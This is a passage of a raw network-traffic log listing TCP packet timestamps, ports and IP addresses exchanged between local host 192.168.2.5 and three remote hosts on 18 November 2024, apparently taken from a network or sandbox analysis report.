Nov 18, 2024 19:04:30.547833920 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.552700996 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.552711964 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.552723885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.552766085 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.552800894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.552828074 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.552872896 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.552891016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.552902937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.552916050 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.552941084 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.552970886 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.553116083 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.553128004 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.553138018 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.553165913 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.553186893 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.554152966 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.554244041 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.554255962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.554306030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.554306984 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.554369926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.554380894 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.554423094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.571852922 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.572738886 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.572768927 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.572799921 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.572822094 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.572838068 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.572849989 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.572912931 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.572958946 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.573061943 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.573076963 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.573085070 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.573090076 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.582824945 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.582838058 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.582849979 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.582896948 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.582923889 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.582937002 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.582943916 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.582963943 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.582974911 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.583218098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.583229065 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.583240032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.583262920 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.583292007 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.632891893 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.632926941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.632934093 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.632946968 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.632972002 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.653697014 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.654175997 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.654237986 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.654587984 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.654629946 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.654808044 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.665601015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.665612936 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.665623903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.665671110 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.671735048 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.671747923 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.671760082 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.671792984 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.671828032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.671830893 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.671840906 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.671854019 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.671866894 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.671873093 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.671907902 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.672064066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.672095060 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.672106028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.672116995 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.672132969 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.672163010 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.672203064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.672213078 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.672260046 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.673624039 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.673635006 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.673646927 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.673662901 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.673691034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.673998117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.674050093 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.674128056 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.701627970 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.701639891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.701658010 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.701673031 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.701678991 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.701683998 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.701699972 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.701736927 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.702120066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.702182055 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.702183962 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.702193975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.702219963 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.702245951 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.719733953 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.752456903 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.752574921 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.752592087 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.752604961 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.752641916 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.752661943 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.753484011 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.753499031 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.753504992 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.753549099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.773569107 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.773698092 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.773729086 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.773802996 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.774115086 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.774974108 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.787370920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.787590027 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.787643909 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.788518906 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.788570881 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.788619041 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.791524887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.791560888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.791588068 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.791595936 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.791608095 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.791630030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.791663885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.791678905 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.791708946 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.791723967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.791759014 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.791771889 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.791795015 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.791809082 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.791830063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.793345928 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.793380976 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.793396950 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.793415070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.793426991 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.793451071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.793461084 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.793493986 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.793610096 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.793692112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.804640055 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.804709911 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.804825068 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.804872990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.804925919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.804959059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.805008888 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.805160999 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.805197001 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.820791006 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.820828915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.820859909 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.820868015 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.820887089 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.820902109 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.820909977 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.820939064 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.821139097 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.821188927 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.821290016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.821322918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.821372032 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.873342991 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.873397112 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.873430014 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.873455048 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.873481035 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.873935938 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.873970032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.873994112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.874011993 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.879164934 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.879189968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.879200935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.879250050 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.153256893 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.153446913 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.153502941 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.153532028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.153568029 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.153619051 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.153814077 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153825998 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153836012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153848886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153860092 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153865099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.153873920 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153887033 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153888941 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.153898001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153913021 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153918982 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.153928995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.153932095 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153944969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153951883 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.153954029 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.153980970 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.154011965 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.154429913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.154442072 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.154452085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.154464960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.154475927 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.154479980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.154488087 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.154499054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.154510021 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.154521942 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.154524088 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.154547930 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.154589891 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.155172110 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155184984 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155195951 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155206919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155216932 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.155220985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155230999 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.155234098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155253887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.155260086 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.155275106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155286074 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155297041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155299902 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.155303955 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.155308962 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155327082 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.155330896 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155333042 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.155343056 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155354977 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.155359030 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.155371904 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.155394077 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156377077 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156393051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.156402111 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.156414032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156415939 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156425953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156441927 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156455040 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156456947 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.156467915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156474113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156480074 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156490088 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156492949 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156506062 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156508923 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156517982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156522989 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156533957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156536102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156547070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156560898 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156564951 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156572104 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156583071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156588078 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156596899 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156604052 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156609058 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156618118 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156652927 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156841993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156853914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156863928 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156877041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156886101 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156887054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156897068 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156899929 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.156913996 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.156929016 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156958103 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.156965971 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.158591986 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.158655882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.158668041 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.158714056 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.158749104 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.158775091 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.158787012 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.158834934 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.159137964 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.159148932 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.159162998 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.159176111 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.159187078 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.159193993 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.159233093 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.159563065 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159574032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159586906 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159610033 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.159646988 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.159691095 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159703016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159712076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159723043 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159730911 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.159735918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159743071 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.159775019 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.159898043 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.159938097 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160015106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160027027 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160058022 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160069942 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160151958 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160162926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160176039 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160187960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160200119 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160228014 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160604000 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160614967 CET	80	49983	185.215.113.16	192.168.2.5
